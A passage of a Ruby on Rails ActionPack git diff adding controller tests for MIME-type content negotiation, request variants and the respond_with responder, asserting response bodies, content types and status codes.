+    @request.accept = "text/javascript, text/html"
+    xhr :get, :js_or_html
+    assert_equal 'JS', @response.body
+
+    @request.accept = "text/javascript, text/html"
+    xhr :get, :html_or_xml
+    assert_equal 'HTML', @response.body
+
+    @request.accept = "text/javascript, text/html"
+
+    assert_raises(ActionController::UnknownFormat) do
+      xhr :get, :just_xml
+    end
+  end
+
+  def test_json_or_yaml_with_leading_star_star
+    @request.accept = "*/*, application/json"
+    get :json_xml_or_html
+    assert_equal 'HTML', @response.body
+
+    @request.accept = "*/* , application/json"
+    get :json_xml_or_html
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_json_or_yaml
+    xhr :get, :json_or_yaml
+    assert_equal 'JSON', @response.body
+
+    get :json_or_yaml, :format => 'json'
+    assert_equal 'JSON', @response.body
+
+    get :json_or_yaml, :format => 'yaml'
+    assert_equal 'YAML', @response.body
+
+    { 'YAML' => %w(text/yaml),
+      'JSON' => %w(application/json text/x-json)
+    }.each do |body, content_types|
+      content_types.each do |content_type|
+        @request.accept = content_type
+        get :json_or_yaml
+        assert_equal body, @response.body
+      end
+    end
+  end
+
+  def test_js_or_anything
+    @request.accept = "text/javascript, */*"
+    xhr :get, :js_or_html
+    assert_equal 'JS', @response.body
+
+    xhr :get, :html_or_xml
+    assert_equal 'HTML', @response.body
+
+    xhr :get, :just_xml
+    assert_equal 'XML', @response.body
+  end
+
+  def test_using_defaults
+    @request.accept = "*/*"
+    get :using_defaults
+    assert_equal "text/html", @response.content_type
+    assert_equal 'Hello world!', @response.body
+
+    @request.accept = "application/xml"
+    get :using_defaults
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<p>Hello world!</p>\n", @response.body
+  end
+
+  def test_using_defaults_with_all
+    @request.accept = "*/*"
+    get :using_defaults_with_all
+    assert_equal "HTML!", @response.body.strip
+
+    @request.accept = "text/html"
+    get :using_defaults_with_all
+    assert_equal "HTML!", @response.body.strip
+
+    @request.accept = "application/json"
+    get :using_defaults_with_all
+    assert_equal "ALL", @response.body
+  end
+
+  def test_using_defaults_with_type_list
+    @request.accept = "*/*"
+    get :using_defaults_with_type_list
+    assert_equal "text/html", @response.content_type
+    assert_equal 'Hello world!', @response.body
+
+    @request.accept = "application/xml"
+    get :using_defaults_with_type_list
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<p>Hello world!</p>\n", @response.body
+  end
+
+  def test_with_atom_content_type
+    @request.accept = ""
+    @request.env["CONTENT_TYPE"] = "application/atom+xml"
+    xhr :get, :made_for_content_type
+    assert_equal "ATOM", @response.body
+  end
+
+  def test_with_rss_content_type
+    @request.accept = ""
+    @request.env["CONTENT_TYPE"] = "application/rss+xml"
+    xhr :get, :made_for_content_type
+    assert_equal "RSS", @response.body
+  end
+
+  def test_synonyms
+    @request.accept = "application/javascript"
+    get :js_or_html
+    assert_equal 'JS', @response.body
+
+    @request.accept = "application/x-xml"
+    get :html_xml_or_rss
+    assert_equal "XML", @response.body
+  end
+
+  def test_custom_types
+    @request.accept = "application/crazy-xml"
+    get :custom_type_handling
+    assert_equal "application/crazy-xml", @response.content_type
+    assert_equal 'Crazy XML', @response.body
+
+    @request.accept = "text/html"
+    get :custom_type_handling
+    assert_equal "text/html", @response.content_type
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_xhtml_alias
+    @request.accept = "application/xhtml+xml,application/xml"
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_firefox_simulation
+    @request.accept = "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"
+    get :html_or_xml
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_handle_any
+    @request.accept = "*/*"
+    get :handle_any
+    assert_equal 'HTML', @response.body
+
+    @request.accept = "text/javascript"
+    get :handle_any
+    assert_equal 'Either JS or XML', @response.body
+
+    @request.accept = "text/xml"
+    get :handle_any
+    assert_equal 'Either JS or XML', @response.body
+  end
+
+  def test_handle_any_any
+    @request.accept = "*/*"
+    get :handle_any_any
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_handle_any_any_parameter_format
+    get :handle_any_any, {:format=>'html'}
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_handle_any_any_explicit_html
+    @request.accept = "text/html"
+    get :handle_any_any
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_handle_any_any_javascript
+    @request.accept = "text/javascript"
+    get :handle_any_any
+    assert_equal 'Whatever you ask for, I got it', @response.body
+  end
+
+  def test_handle_any_any_xml
+    @request.accept = "text/xml"
+    get :handle_any_any
+    assert_equal 'Whatever you ask for, I got it', @response.body
+  end
+
+  def test_handle_any_any_unkown_format
+    get :handle_any_any, { format: 'php' }
+    assert_equal 'Whatever you ask for, I got it', @response.body
+  end
+
+  def test_browser_check_with_any_any
+    @request.accept = "application/json, application/xml"
+    get :json_xml_or_html
+    assert_equal 'JSON', @response.body
+
+    @request.accept = "application/json, application/xml, */*"
+    get :json_xml_or_html
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_html_type_with_layout
+    @request.accept = "text/html"
+    get :all_types_with_layout
+    assert_equal '<html><div id="html">HTML for all_types_with_layout</div></html>', @response.body
+  end
+
+  def test_xhr
+    xhr :get, :js_or_html
+    assert_equal 'JS', @response.body
+  end
+
+  def test_custom_constant
+    get :custom_constant_handling, :format => "mobile"
+    assert_equal "text/x-mobile", @response.content_type
+    assert_equal "Mobile", @response.body
+  end
+
+  def test_custom_constant_handling_without_block
+    get :custom_constant_handling_without_block, :format => "mobile"
+    assert_equal "text/x-mobile", @response.content_type
+    assert_equal "Mobile", @response.body
+  end
+
+  def test_forced_format
+    get :html_xml_or_rss
+    assert_equal "HTML", @response.body
+
+    get :html_xml_or_rss, :format => "html"
+    assert_equal "HTML", @response.body
+
+    get :html_xml_or_rss, :format => "xml"
+    assert_equal "XML", @response.body
+
+    get :html_xml_or_rss, :format => "rss"
+    assert_equal "RSS", @response.body
+  end
+
+  def test_internally_forced_format
+    get :forced_xml
+    assert_equal "XML", @response.body
+
+    get :forced_xml, :format => "html"
+    assert_equal "XML", @response.body
+  end
+
+  def test_extension_synonyms
+    get :html_xml_or_rss, :format => "xhtml"
+    assert_equal "HTML", @response.body
+  end
+
+  def test_render_action_for_html
+    @controller.instance_eval do
+      def render(*args)
+        @action = args.first[:action] unless args.empty?
+        @action ||= action_name
+
+        response.body = "#{@action} - #{formats}"
+      end
+    end
+
+    get :using_defaults
+    assert_equal "using_defaults - #{[:html].to_s}", @response.body
+
+    get :using_defaults, :format => "xml"
+    assert_equal "using_defaults - #{[:xml].to_s}", @response.body
+  end
+
+  def test_format_with_custom_response_type
+    get :iphone_with_html_response_type
+    assert_equal '<html><div id="html">Hello future from Firefox!</div></html>', @response.body
+
+    get :iphone_with_html_response_type, :format => "iphone"
+    assert_equal "text/html", @response.content_type
+    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+  end
+
+  def test_format_with_custom_response_type_and_request_headers
+    @request.accept = "text/iphone"
+    get :iphone_with_html_response_type
+    assert_equal '<html><div id="iphone">Hello iPhone future from iPhone!</div></html>', @response.body
+    assert_equal "text/html", @response.content_type
+  end
+
+  def test_invalid_format
+    assert_raises(ActionController::UnknownFormat) do
+      get :using_defaults, :format => "invalidformat"
+    end
+  end
+
+  def test_invalid_variant
+    @request.variant = :invalid
+    assert_raises(ActionView::MissingTemplate) do
+      get :variant_with_implicit_rendering
+    end
+  end
+
+  def test_variant_not_set_regular_template_missing
+    assert_raises(ActionView::MissingTemplate) do
+      get :variant_with_implicit_rendering
+    end
+  end
+
+  def test_variant_with_implicit_rendering
+    @request.variant = :mobile
+    get :variant_with_implicit_rendering
+    assert_equal "text/html", @response.content_type
+    assert_equal "mobile", @response.body
+  end
+
+  def test_variant_with_format_and_custom_render
+    @request.variant = :phone
+    get :variant_with_format_and_custom_render
+    assert_equal "text/html", @response.content_type
+    assert_equal "mobile", @response.body
+  end
+
+  def test_multiple_variants_for_format
+    @request.variant = :tablet
+    get :multiple_variants_for_format
+    assert_equal "text/html", @response.content_type
+    assert_equal "tablet", @response.body
+  end
+
+  def test_no_variant_in_variant_setup
+    get :variant_plus_none_for_format
+    assert_equal "text/html", @response.content_type
+    assert_equal "none", @response.body
+  end
+
+  def test_variant_inline_syntax
+    get :variant_inline_syntax, format: :js
+    assert_equal "text/javascript", @response.content_type
+    assert_equal "js", @response.body
+
+    get :variant_inline_syntax
+    assert_equal "text/html", @response.content_type
+    assert_equal "none", @response.body
+
+    @request.variant = :phone
+    get :variant_inline_syntax
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_inline_syntax_without_block
+    @request.variant = :phone
+    get :variant_inline_syntax_without_block
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_any
+    @request.variant = :phone
+    get :variant_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    @request.variant = :tablet
+    get :variant_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    @request.variant = :phablet
+    get :variant_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_any_any
+    get :variant_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    @request.variant = :phone
+    get :variant_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    @request.variant = :yolo
+    get :variant_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_inline_any
+    @request.variant = :phone
+    get :variant_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    @request.variant = :tablet
+    get :variant_inline_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+
+    @request.variant = :phablet
+    get :variant_inline_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_inline_any_any
+    @request.variant = :phone
+    get :variant_inline_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+
+    @request.variant = :yolo
+    get :variant_inline_any_any
+    assert_equal "text/html", @response.content_type
+    assert_equal "any", @response.body
+  end
+
+  def test_variant_any_implicit_render
+    @request.variant = :tablet
+    get :variant_any_implicit_render
+    assert_equal "text/html", @response.content_type
+    assert_equal "tablet", @response.body
+
+    @request.variant = :phablet
+    get :variant_any_implicit_render
+    assert_equal "text/html", @response.content_type
+    assert_equal "phablet", @response.body
+  end
+
+  def test_variant_any_with_none
+    get :variant_any_with_none
+    assert_equal "text/html", @response.content_type
+    assert_equal "none or phone", @response.body
+
+    @request.variant = :phone
+    get :variant_any_with_none
+    assert_equal "text/html", @response.content_type
+    assert_equal "none or phone", @response.body
+  end
+
+  def test_format_any_variant_any
+    @request.variant = :tablet
+    get :format_any_variant_any, format: :js
+    assert_equal "text/javascript", @response.content_type
+    assert_equal "tablet", @response.body
+  end
+
+  def test_variant_negotiation_inline_syntax
+    @request.variant = [:tablet, :phone]
+    get :variant_inline_syntax_without_block
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_negotiation_block_syntax
+    @request.variant = [:tablet, :phone]
+    get :variant_plus_none_for_format
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+
+  def test_variant_negotiation_without_block
+    @request.variant = [:tablet, :phone]
+    get :variant_inline_syntax_without_block
+    assert_equal "text/html", @response.content_type
+    assert_equal "phone", @response.body
+  end
+end
diff --git a/actionpack/test/controller/mime/respond_with_test.rb b/actionpack/test/controller/mime/respond_with_test.rb
new file mode 100644
index 0000000..a70592f
--- /dev/null
+++ b/actionpack/test/controller/mime/respond_with_test.rb
@@ -0,0 +1,714 @@
+require 'abstract_unit'
+require 'controller/fake_models'
+
+class RespondWithController < ActionController::Base
+  respond_to :html, :json, :touch
+  respond_to :xml, :except => :using_resource_with_block
+  respond_to :js,  :only => [ :using_resource_with_block, :using_resource, 'using_hash_resource' ]
+
+  def using_resource
+    respond_with(resource)
+  end
+
+  def using_hash_resource
+    respond_with({:result => resource})
+  end
+
+  def using_resource_with_block
+    respond_with(resource) do |format|
+      format.csv { render :text => "CSV" }
+    end
+  end
+
+  def using_resource_with_overwrite_block
+    respond_with(resource) do |format|
+      format.html { render :text => "HTML" }
+    end
+  end
+
+  def using_resource_with_collection
+    respond_with([resource, Customer.new("jamis", 9)])
+  end
+
+  def using_resource_with_parent
+    respond_with(Quiz::Store.new("developer?", 11), Customer.new("david", 13))
+  end
+
+  def using_resource_with_status_and_location
+    respond_with(resource, :location => "http://test.host/", :status => :created)
+  end
+
+  def using_invalid_resource_with_template
+    respond_with(resource)
+  end
+
+  def using_options_with_template
+    @customer = resource
+    respond_with(@customer, :status => 123, :location => "http://test.host/")
+  end
+
+  def using_resource_with_responder
+    responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
+    respond_with(resource, :responder => responder)
+  end
+
+  def using_resource_with_action
+    respond_with(resource, :action => :foo) do |format|
+      format.html { raise ActionView::MissingTemplate.new([], "bar", ["foo"], {}, false) }
+    end
+  end
+
+  def using_responder_with_respond
+    responder = Class.new(ActionController::Responder) do
+      def respond; @controller.render :text => "respond #{format}"; end
+    end
+    respond_with(resource, :responder => responder)
+  end
+
+  def respond_with_additional_params
+    @params = RespondWithController.params
+    respond_with({:result => resource}, @params)
+  end
+
+protected
+  def self.params
+    {
+        :foo => 'bar'
+    }
+  end
+
+  def resource
+    Customer.new("david", request.delete? ? nil : 13)
+  end
+end
+
+class InheritedRespondWithController < RespondWithController
+  clear_respond_to
+  respond_to :xml, :json
+
+  def index
+    respond_with(resource) do |format|
+      format.json { render :text => "JSON" }
+    end
+  end
+end
+
+class RenderJsonRespondWithController < RespondWithController
+  clear_respond_to
+  respond_to :json
+
+  def index
+    respond_with(resource) do |format|
+      format.json { render :json => RenderJsonTestException.new('boom') }
+    end
+  end
+
+  def create
+    resource = ValidatedCustomer.new(params[:name], 1)
+    respond_with(resource) do |format|
+      format.json do
+        if resource.errors.empty?
+          render :json => { :valid => true }
+        else
+          render :json => { :valid => false }
+        end
+      end
+    end
+  end
+end
+
+class CsvRespondWithController < ActionController::Base
+  respond_to :csv
+
+  class RespondWithCsv
+    def to_csv
+      "c,s,v"
+    end
+  end
+
+  def index
+    respond_with(RespondWithCsv.new)
+  end
+end
+
+class EmptyRespondWithController < ActionController::Base
+  def index
+    respond_with(Customer.new("david", 13))
+  end
+end
+
+class RespondWithControllerTest < ActionController::TestCase
+  tests RespondWithController
+
+  def setup
+    super
+    @request.host = "www.example.com"
+    Mime::Type.register_alias('text/html', :iphone)
+    Mime::Type.register_alias('text/html', :touch)
+    Mime::Type.register('text/x-mobile', :mobile)
+  end
+
+  def teardown
+    super
+    Mime::Type.unregister(:iphone)
+    Mime::Type.unregister(:touch)
+    Mime::Type.unregister(:mobile)
+  end
+
+  def test_respond_with_shouldnt_modify_original_hash
+    get :respond_with_additional_params
+    assert_equal RespondWithController.params, assigns(:params)
+  end
+
+  def test_using_resource
+    @request.accept = "application/xml"
+    get :using_resource
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<name>david</name>", @response.body
+
+    @request.accept = "application/json"
+    assert_raise ActionView::MissingTemplate do
+      get :using_resource
+    end
+  end
+
+  def test_using_resource_with_js_simply_tries_to_render_the_template
+    @request.accept = "text/javascript"
+    get :using_resource
+    assert_equal "text/javascript", @response.content_type
+    assert_equal "alert(\"Hi\");", @response.body
+  end
+
+  def test_using_hash_resource_with_js_raises_an_error_if_template_cant_be_found
+    @request.accept = "text/javascript"
+    assert_raise ActionView::MissingTemplate do
+      get :using_hash_resource
+    end
+  end
+
+  def test_using_hash_resource
+    @request.accept = "application/xml"
+    get :using_hash_resource
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<hash>\n  <name>david</name>\n</hash>\n", @response.body
+
+    @request.accept = "application/json"
+    get :using_hash_resource
+    assert_equal "application/json", @response.content_type
+    assert @response.body.include?("result")
+    assert @response.body.include?('"name":"david"')
+    assert @response.body.include?('"id":13')
+  end
+
+  def test_using_hash_resource_with_post
+    @request.accept = "application/json"
+    assert_raise ArgumentError, "Nil location provided. Can't build URI." do
+      post :using_hash_resource
+    end
+  end
+
+  def test_using_resource_with_block
+    @request.accept = "*/*"
+    get :using_resource_with_block
+    assert_equal "text/html", @response.content_type
+    assert_equal 'Hello world!', @response.body
+
+    @request.accept = "text/csv"
+    get :using_resource_with_block
+    assert_equal "text/csv", @response.content_type
+    assert_equal "CSV", @response.body
+
+    @request.accept = "application/xml"
+    get :using_resource
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<name>david</name>", @response.body
+  end
+
+  def test_using_resource_with_overwrite_block
+    get :using_resource_with_overwrite_block
+    assert_equal "text/html", @response.content_type
+    assert_equal "HTML", @response.body
+  end
+
+  def test_not_acceptable
+    @request.accept = "application/xml"
+    assert_raises(ActionController::UnknownFormat) do
+      get :using_resource_with_block
+    end
+
+    @request.accept = "text/javascript"
+    assert_raises(ActionController::UnknownFormat) do
+      get :using_resource_with_overwrite_block
+    end
+  end
+
+  def test_using_resource_for_post_with_html_redirects_on_success
+    with_test_route_set do
+      post :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 302, @response.status
+      assert_equal "http://www.example.com/customers/13", @response.location
+      assert @response.redirect?
+    end
+  end
+
+  def test_using_resource_for_post_with_html_rerender_on_failure
+    with_test_route_set do
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      post :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 200, @response.status
+      assert_equal "New world!\n", @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_for_post_with_xml_yields_created_on_success
+    with_test_route_set do
+      @request.accept = "application/xml"
+      post :using_resource
+      assert_equal "application/xml", @response.content_type
+      assert_equal 201, @response.status
+      assert_equal "<name>david</name>", @response.body
+      assert_equal "http://www.example.com/customers/13", @response.location
+    end
+  end
+
+  def test_using_resource_for_post_with_xml_yields_unprocessable_entity_on_failure
+    with_test_route_set do
+      @request.accept = "application/xml"
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      post :using_resource
+      assert_equal "application/xml", @response.content_type
+      assert_equal 422, @response.status
+      assert_equal errors.to_xml, @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_for_post_with_json_yields_unprocessable_entity_on_failure
+    with_test_route_set do
+      @request.accept = "application/json"
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      post :using_resource
+      assert_equal "application/json", @response.content_type
+      assert_equal 422, @response.status
+      errors = {:errors => errors}
+      assert_equal errors.to_json, @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_for_patch_with_html_redirects_on_success
+    with_test_route_set do
+      patch :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 302, @response.status
+      assert_equal "http://www.example.com/customers/13", @response.location
+      assert @response.redirect?
+    end
+  end
+
+  def test_using_resource_for_patch_with_html_rerender_on_failure
+    with_test_route_set do
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      patch :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 200, @response.status
+      assert_equal "Edit world!\n", @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_for_patch_with_html_rerender_on_failure_even_on_method_override
+    with_test_route_set do
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      @request.env["rack.methodoverride.original_method"] = "POST"
+      patch :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 200, @response.status
+      assert_equal "Edit world!\n", @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_for_put_with_html_redirects_on_success
+    with_test_route_set do
+      put :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 302, @response.status
+      assert_equal "http://www.example.com/customers/13", @response.location
+      assert @response.redirect?
+    end
+  end
+
+  def test_using_resource_for_put_with_html_rerender_on_failure
+    with_test_route_set do
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      put :using_resource
+
+      assert_equal "text/html", @response.content_type
+      assert_equal 200, @response.status
+      assert_equal "Edit world!\n", @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_for_put_with_html_rerender_on_failure_even_on_method_override
+    with_test_route_set do
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      @request.env["rack.methodoverride.original_method"] = "POST"
+      put :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 200, @response.status
+      assert_equal "Edit world!\n", @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_for_put_with_xml_yields_no_content_on_success
+    @request.accept = "application/xml"
+    put :using_resource
+    assert_equal "application/xml", @response.content_type
+    assert_equal 204, @response.status
+    assert_equal "", @response.body
+  end
+
+  def test_using_resource_for_put_with_json_yields_no_content_on_success
+    Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
+    @request.accept = "application/json"
+    put :using_resource
+    assert_equal "application/json", @response.content_type
+    assert_equal 204, @response.status
+    assert_equal "", @response.body
+  end
+
+  def test_using_resource_for_put_with_xml_yields_unprocessable_entity_on_failure
+    @request.accept = "application/xml"
+    errors = { :name => :invalid }
+    Customer.any_instance.stubs(:errors).returns(errors)
+    put :using_resource
+    assert_equal "application/xml", @response.content_type
+    assert_equal 422, @response.status
+    assert_equal errors.to_xml, @response.body
+    assert_nil @response.location
+  end
+
+  def test_using_resource_for_put_with_json_yields_unprocessable_entity_on_failure
+    @request.accept = "application/json"
+    errors = { :name => :invalid }
+    Customer.any_instance.stubs(:errors).returns(errors)
+    put :using_resource
+    assert_equal "application/json", @response.content_type
+    assert_equal 422, @response.status
+    errors = {:errors => errors}
+    assert_equal errors.to_json, @response.body
+    assert_nil @response.location
+  end
+
+  def test_using_resource_for_delete_with_html_redirects_on_success
+    with_test_route_set do
+      Customer.any_instance.stubs(:destroyed?).returns(true)
+      delete :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 302, @response.status
+      assert_equal "http://www.example.com/customers", @response.location
+    end
+  end
+
+  def test_using_resource_for_delete_with_xml_yields_no_content_on_success
+    Customer.any_instance.stubs(:destroyed?).returns(true)
+    @request.accept = "application/xml"
+    delete :using_resource
+    assert_equal "application/xml", @response.content_type
+    assert_equal 204, @response.status
+    assert_equal "", @response.body
+  end
+
+  def test_using_resource_for_delete_with_json_yields_no_content_on_success
+    Customer.any_instance.stubs(:to_json).returns('{"name": "David"}')
+    Customer.any_instance.stubs(:destroyed?).returns(true)
+    @request.accept = "application/json"
+    delete :using_resource
+    assert_equal "application/json", @response.content_type
+    assert_equal 204, @response.status
+    assert_equal "", @response.body
+  end
+
+  def test_using_resource_for_delete_with_html_redirects_on_failure
+    with_test_route_set do
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      Customer.any_instance.stubs(:destroyed?).returns(false)
+      delete :using_resource
+      assert_equal "text/html", @response.content_type
+      assert_equal 302, @response.status
+      assert_equal "http://www.example.com/customers", @response.location
+    end
+  end
+
+  def test_using_resource_with_parent_for_get
+    @request.accept = "application/xml"
+    get :using_resource_with_parent
+    assert_equal "application/xml", @response.content_type
+    assert_equal 200, @response.status
+    assert_equal "<name>david</name>", @response.body
+  end
+
+  def test_using_resource_with_parent_for_post
+    with_test_route_set do
+      @request.accept = "application/xml"
+
+      post :using_resource_with_parent
+      assert_equal "application/xml", @response.content_type
+      assert_equal 201, @response.status
+      assert_equal "<name>david</name>", @response.body
+      assert_equal "http://www.example.com/quiz_stores/11/customers/13", @response.location
+
+      errors = { :name => :invalid }
+      Customer.any_instance.stubs(:errors).returns(errors)
+      post :using_resource
+      assert_equal "application/xml", @response.content_type
+      assert_equal 422, @response.status
+      assert_equal errors.to_xml, @response.body
+      assert_nil @response.location
+    end
+  end
+
+  def test_using_resource_with_collection
+    @request.accept = "application/xml"
+    get :using_resource_with_collection
+    assert_equal "application/xml", @response.content_type
+    assert_equal 200, @response.status
+    assert_match(/<name>david<\/name>/, @response.body)
+    assert_match(/<name>jamis<\/name>/, @response.body)
+  end
+
+  def test_using_resource_with_action
+    @controller.instance_eval do
+      def render(params={})
+        self.response_body = "#{params[:action]} - #{formats}"
+      end
+    end
+
+    errors = { :name => :invalid }
+    Customer.any_instance.stubs(:errors).returns(errors)
+
+    post :using_resource_with_action
+    assert_equal "foo - #{[:html].to_s}", @controller.response.body
+  end
+
+  def test_respond_as_responder_entry_point
+    @request.accept = "text/html"
+    get :using_responder_with_respond
+    assert_equal "respond html", @response.body
+
+    @request.accept = "application/xml"
+    get :using_responder_with_respond
+    assert_equal "respond xml", @response.body
+  end
+
+  def test_clear_respond_to
+    @controller = InheritedRespondWithController.new
+    @request.accept = "text/html"
+    assert_raises(ActionController::UnknownFormat) do
+      get :index
+    end
+  end
+
+  def test_first_in_respond_to_has_higher_priority
+    @controller = InheritedRespondWithController.new
+    @request.accept = "*/*"
+    get :index
+    assert_equal "application/xml", @response.content_type
+    assert_equal "<name>david</name>", @response.body
+  end
+
+  def test_block_inside_respond_with_is_rendered
+    @controller = InheritedRespondWithController.new
+    @request.accept = "application/json"
+    get :index
+    assert_equal "JSON", @response.body
+  end
+
+  def test_render_json_object_responds_to_str_still_produce_json
+    @controller = RenderJsonRespondWithController.new
+    @request.accept = "application/json"
+    get :index, :format => :json
+    assert_match(/"message":"boom"/, @response.body)
+    assert_match(/"error":"RenderJsonTestException"/, @response.body)
+  end
+
+  def test_api_response_with_valid_resource_respect_override_block
+    @controller = RenderJsonRespondWithController.new
+    post :create, :name => "sikachu", :format => :json
+    assert_equal '{"valid":true}', @response.body
+  end
+
+  def test_api_response_with_invalid_resource_respect_override_block
+    @controller = RenderJsonRespondWithController.new
+    post :create, :name => "david", :format => :json
+    assert_equal '{"valid":false}', @response.body
+  end
+
+  def test_no_double_render_is_raised
+    @request.accept = "text/html"
+    assert_raise ActionView::MissingTemplate do
+      get :using_resource
+    end
+  end
+
+  def test_using_resource_with_status_and_location
+    @request.accept = "text/html"
+    post :using_resource_with_status_and_location
+    assert @response.redirect?
+    assert_equal "http://test.host/", @response.location
+
+    @request.accept = "application/xml"
+    get :using_resource_with_status_and_location
+    assert_equal 201, @response.status
+  end
+
+  def test_using_resource_with_status_and_location_with_invalid_resource
+    errors = { :name => :invalid }
+    Customer.any_instance.stubs(:errors).returns(errors)
+
+    @request.accept = "text/xml"
+
+    post :using_resource_with_status_and_location
+    assert_equal errors.to_xml, @response.body
+    assert_equal 422, @response.status
+    assert_equal nil, @response.location
+
+    put :using_resource_with_status_and_location
+    assert_equal errors.to_xml, @response.body
+    assert_equal 422, @response.status
+    assert_equal nil, @response.location
+  end
+
+  def test_using_invalid_resource_with_template
+    errors = { :name => :invalid }
+    Customer.any_instance.stubs(:errors).returns(errors)
+
+    @request.accept = "text/xml"
+
+    post :using_invalid_resource_with_template
+    assert_equal errors.to_xml, @response.body
+    assert_equal 422, @response.status
+    assert_equal nil, @response.location
+
+    put :using_invalid_resource_with_template
+    assert_equal errors.to_xml, @response.body
+    assert_equal 422, @response.status
+    assert_equal nil, @response.location
+  end
+
+  def test_using_options_with_template
+    @request.accept = "text/xml"
+
+    post :using_options_with_template
+    assert_equal "<customer-name>david</customer-name>", @response.body
+    assert_equal 123, @response.status
+    assert_equal "http://test.host/", @response.location
+
+    put :using_options_with_template
+    assert_equal "<customer-name>david</customer-name>", @response.body
+    assert_equal 123, @response.status
+    assert_equal "http://test.host/", @response.location
+  end
+
+  def test_using_resource_with_responder
+    get :using_resource_with_responder
+    assert_equal "Resource name is david", @response.body
+  end
+
+  def test_using_resource_with_set_responder
+    RespondWithController.responder = proc { |c, r, o| c.render :text => "Resource name is #{r.first.name}" }
+    get :using_resource
+    assert_equal "Resource name is david", @response.body
+  ensure
+    RespondWithController.responder = ActionController::Responder
+  end
+
+  def test_uses_renderer_if_an_api_behavior
+    ActionController::Renderers.add :csv do |obj, options|
+      send_data obj.to_csv, type: Mime::CSV
+    end
+    @controller = CsvRespondWithController.new
+    get :index, format: 'csv'
+    assert_equal Mime::CSV, @response.content_type
+    assert_equal "c,s,v", @response.body
+  end
+
+  def test_raises_missing_renderer_if_an_api_behavior_with_no_renderer
+    @controller = CsvRespondWithController.new
+    assert_raise ActionController::MissingRenderer do
+      get :index, format: 'csv'
+    end
+  end
+
+  def test_error_is_raised_if_no_respond_to_is_declared_and_respond_with_is_called
+    @controller = EmptyRespondWithController.new
+    @request.accept = "*/*"
+    assert_raise RuntimeError do
+      get :index
+    end
+  end
+
+  private
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do
+          resources :customers
+          resources :quiz_stores do
+            resources :customers
+          end
+          get ":controller/:action"
+        end
+        yield
+      end
+    end
+end
+
+class FlashResponder < ActionController::Responder
+  def initialize(controller, resources, options={})
+    super
+  end
+
+  def to_html
+    controller.flash[:notice] = 'Success'
+    super
+  end
+end
+
+class FlashResponderController < ActionController::Base
+  self.responder = FlashResponder
+  respond_to :html
+
+  def index
+    respond_with Object.new do |format|
+      format.html { render :text => 'HTML' }
+    end
+  end
+end
+
+class FlashResponderControllerTest < ActionController::TestCase
+  tests FlashResponderController
+
+  def test_respond_with_block_executed
+    get :index
+    assert_equal 'HTML', @response.body
+  end
+
+  def test_flash_responder_executed
+    get :index
+    assert_equal 'Success', flash[:notice]
+  end
+end
diff --git a/actionpack/test/controller/mime_responds_test.rb b/actionpack/test/controller/mime_responds_test.rb
